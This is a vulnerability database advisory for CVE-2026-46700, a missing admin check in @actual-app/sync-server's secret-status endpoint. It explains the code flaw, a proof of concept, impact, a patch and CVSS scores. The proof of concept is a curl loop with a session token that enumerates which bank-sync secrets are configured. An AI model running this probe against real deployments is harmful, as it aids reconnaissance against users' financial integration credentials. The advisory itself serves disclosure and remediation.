Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-46700
Published:June 22, 2026
Updated:June 23, 2026
Summary In "@actual-app/sync-server", the "GET /secret/:name" endpoint ("app-secrets.js:53") checks only that the caller has a valid session — it does not verify the caller is an admin. The sibling "POST /secret/" handler does enforce an admin check in OpenID mode, exposing an authorization asymmetry. Any authenticated non-admin (BASIC) user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured (existence, not values). This includes integration credentials that are not otherwise observable to non-admins, such as "simplefin_accessKey", "pluggyai_clientSecret", "pluggyai_itemIds", and the "gocardless_" secrets. Details "packages/sync-server/src/app-secrets.js" mounts "validateSessionMiddleware" at the router level (line 15), so all handlers inherit only "must be authenticated." The POST handler then explicitly upgrades to an admin check when the active auth method is "openid": // app-secrets.js:17-46 app.post('/', async (req, res) => { // ... look up active auth method ... if (method === 'openid') { const canSaveSecrets = isAdmin(res.locals.user_id); if (!canSaveSecrets) { res.status(403).send({ status: 'error', reason: 'not-admin', details: 'You have to be admin to set secrets', }); return; } } secretsService.set(name, value); // ... }); The sibling GET handler skips both the method check and the admin check entirely: // app-secrets.js:53-61 app.get('/:name', async (req, res) => { const name = req.params.name; const keyExists = secretsService.exists(name); if (keyExists) { res.sendStatus(204); } else { res.status(404).send('key not found'); } }); The intent — visible from the POST handler's "You have to be admin to set secrets" — is that this store holds admin-managed credentials. The valid secret names enumerated in "services/secrets-service.js" ("SecretName") are: "gocardless_secretId", "gocardless_secretKey", "simplefin_token", "simplefin_accessKey", "pluggyai_clientId", "pluggyai_clientSecret", "pluggyai_itemIds". In OpenID mode, BASIC users obtain valid sessions through "packages/sync-server/src/accounts/openid.ts:264-274" — either auto-created ("userCreationMode=login") or pre-provisioned by the admin ("userCreationMode=manual"). With that BASIC session token they can hit "GET /secret/:name" and distinguish 204 (configured) from 404 (missing), enumerating each admin-managed secret name. Some signals ("simplefin_token" existence, "pluggyai_clientId" existence) are already coarsely observable via the unauthenticated bank-sync status endpoints ("app-simplefin.js:18", "app-pluggyai.js:18"); the rest ("simplefin_accessKey", "pluggyai_clientSecret", "pluggyai_itemIds", both "gocardless_" secrets) are not otherwise probeable. This is structurally identical to the previously reported missing-admin-check on "GET /admin/users/" ("app-admin.js:28"): a POST sibling enforces admin authorization while the GET sibling omits it. PoC Pre-requisites: - Server is configured for OpenID multi-user mode ("ACTUAL_OPENID_ENFORCE=true" or auth method is "openid"). - An admin has configured one or more bank-sync integrations. - The attacker is any authenticated BASIC user (auto-created via "userCreationMode=login", or admin-provisioned in the default "manual" mode). Step 1 — capture a BASIC user's session token in "$TOKEN" (standard OpenID login flow, no admin role required). Step 2 — probe each admin-managed secret name: for name in gocardless_secretId gocardless_secretKey simplefin_token simplefin_accessKey pluggyai_clientId pluggyai_clientSecret pluggyai_itemIds; do status=$(curl -s -o /dev/null -w '%{http_code}' -H "X-ACTUAL-TOKEN: $TOKEN" https://actual.example.com/secret/$name) echo "$name -> $status" # 204 = configured, 404 = missing done Step 3 — confirm the asymmetry by attempting to write a secret (correctly rejected for non-admins): curl -s -H "X-ACTUAL-TOKEN: $TOKEN" -H 'Content-Type: application/json' -d '{"name":"pluggyai_itemIds","value":"x"}' https://actual.example.com/secret/ {"status":"error","reason":"not-admin","details":"You have to be admin to set secrets"} The POST returns 403 "not-admin"; the GET returns 204/404 unauthenticated-against-role. Impact - A non-admin authenticated user in OpenID multi-user mode can enumerate which admin-managed bank-sync integrations the deployment uses. - This reveals whether GoCardless, SimpleFIN, and/or Pluggy AI are configured, and which auxiliary credentials the admin has set (e.g. "simplefin_accessKey", "pluggyai_clientSecret", "pluggyai_itemIds") — none of which are otherwise observable to non-admins. - The disclosure is existence-only; secret values are not returned. Impact is limited to recon useful for targeted follow-on attacks (e.g. credential phishing, picking which integration to attack on a separate vulnerability). - No integrity or availability impact. Recommended Fix Mirror the POST handler's admin gate on the GET handler. Minimal patch in "packages/sync-server/src/app-secrets.js": app.get('/:name', async (req, res) => { let method; try { const result = getAccountDb().first( 'SELECT method FROM auth WHERE active = 1', ); method = result?.method; } catch (error) { console.error('Failed to fetch auth method:', error); return res.status(500).send({ status: 'error', reason: 'database-error', details: 'Failed to validate authentication method', }); } if (method === 'openid' && !isAdmin(res.locals.user_id)) { return res.status(403).send({ status: 'error', reason: 'not-admin', details: 'You have to be admin to read secret status', }); } const name = req.params.name; const keyExists = secretsService.exists(name); if (keyExists) { res.sendStatus(204); } else { res.status(404).send('key not found'); } }); Consider factoring the method-lookup + admin-check into a shared helper used by both POST and GET to prevent the same asymmetry from recurring. Also consider restricting ":name" to the "SecretName" enum so unrelated probing is rejected up front.
Affected Packages
@actual-app/sync-server (NPM):
Affected version(s) >=25.4.0-alpha.0 <26.6.0
Fix Suggestion:
Update to version 26.6.0
Do you need more information?
Contact Us
CVSS v4
Base Score:
5.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
LOW
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
4.3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
LOW
Integrity
NONE
Availability
NONE
Weakness Type (CWE)
Improper Authorization